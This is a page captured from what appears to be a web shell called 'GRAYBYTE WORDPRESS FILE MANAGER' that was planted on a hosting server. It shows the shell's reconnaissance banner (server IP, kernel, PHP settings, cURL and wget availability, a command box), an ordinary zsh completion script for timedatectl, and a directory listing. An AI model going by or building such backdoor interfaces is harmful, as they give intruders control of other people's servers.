GRAYBYTE WORDPRESS FILE MANAGER4233

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/share/zsh/site-functions/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/share/zsh/site-functions//_timedatectl
#compdef timedatectl
# SPDX-License-Identifier: LGPL-2.1+

_timedatectl_set-timezone(){
    local -a _timezones
    _timezones=( ${(f)"$(_call_program timezones "${service}" list-timezones)"} )
    compadd "$_timezones[@]"
}

_timedatectl_set-time(){
    _message "YYYY-MM-DD HH:MM:SS"
}

_timedatectl_set-local-rtc(){
    local -a _options
    _options=(
        '0:Maintain RTC in universal time'
        '1:Maintain RTC in local time'
    )
    _describe options _options
}

_timedatectl_set-ntp(){
    local -a _options
    _options=(
        '0:Disable NTP based network time configuration'
        '1:Enable NTP based network time configuration'
    )
    _describe options _options
}

_timedatectl_command(){
    local -a _timedatectl_cmds
    _timedatectl_cmds=(
        'status:Show current time settings'
        'set-time:Set system time'
        'set-timezone:Set system timezone'
        'list-timezones:Show known timezones'
        'set-local-rtc:Control whether RTC is in local time'
        'set-ntp:Control whether NTP is enabled'
    )
    if (( CURRENT == 1 )); then
        _describe -t commands 'timedatectl command' _timedatectl_cmds
    else
        local curcontext="$curcontext"
        cmd="${${_timedatectl_cmds[(r)$words[1]:*]%%:*}}"
        if (( $#cmd )); then
            if (( $+functions[_timedatectl_$cmd] )); then
                _timedatectl_$cmd
            else
                _message "no more options"
            fi
        else
            _message "unknown timedatectl command: $words[1]"
        fi
    fi
}

_arguments -s \
    {-h,--help}'[Show this help]' \
    '--version[Show package version]' \
    '--adjust-system-clock[Adjust system clock when changing local RTC mode]' \
    '--no-pager[Do not pipe output into a pager]' \
    '--no-ask-password[Do not prompt for password]' \
    {-H+,--host=}'[Operate on remote host]:userathost:_sd_hosts_or_user_at_host' \
    {-M+,--machine=}'[Operate on local container]:machines:_sd_machines' \
    '*::timedatectl commands:_timedatectl_command'

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 06 2024 00:00:22
root / root
0755
_bootctl
1.075 KB
June 22 2018 11:11:49
root / root
0644
_busctl
2.985 KB
June 22 2018 11:11:49
root / root
0644
_coredumpctl
1.545 KB
June 22 2018 11:11:49
root / root
0644
_curl
13.016 KB
January 28 2025 01:43:09
root / root
0644
_firewalld
18.614 KB
March 11 2025 09:51:09
root / root
0644
_hostnamectl
2.217 KB
June 22 2018 11:11:49
root / root
0644
_journalctl
5.835 KB
June 22 2018 11:11:49
root / root
0644
_kernel-install
0.636 KB
June 22 2018 11:11:49
root / root
0644
_libinput
7.484 KB
November 03 2020 04:42:35
root / root
0644
_localectl
3.501 KB
June 22 2018 11:11:49
root / root
0644
_loginctl
5.668 KB
June 22 2018 11:11:49
root / root
0644
_parallel
0.117 KB
December 25 2024 00:17:11
root / root
0644
_sd_hosts_or_user_at_host
0.113 KB
June 22 2018 11:11:49
root / root
0644
_sd_machines
0.347 KB
June 22 2018 11:11:49
root / root
0644
_sd_outputmodes
0.282 KB
June 22 2018 11:11:49
root / root
0644
_sd_unit_files
0.249 KB
June 22 2018 11:11:49
root / root
0644
_systemctl
15.24 KB
April 22 2025 01:58:20
root / root
0644
_systemd
3.749 KB
June 22 2018 11:11:49
root / root
0644
_systemd-analyze
2.993 KB
June 22 2018 11:11:49
root / root
0644
_systemd-delta
0.551 KB
June 22 2018 11:11:49
root / root
0644
_systemd-inhibit
1.036 KB
June 22 2018 11:11:49
root / root
0644
_systemd-resolve
2.275 KB
June 22 2018 11:11:49
root / root
0644
_systemd-run
3.063 KB
June 22 2018 11:11:49
root / root
0644
_systemd-tmpfiles
0.719 KB
June 22 2018 11:11:49
root / root
0644
_timedatectl
1.994 KB
June 22 2018 11:11:49
root / root
0644
_udevadm
5.856 KB
June 22 2018 11:11:49
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF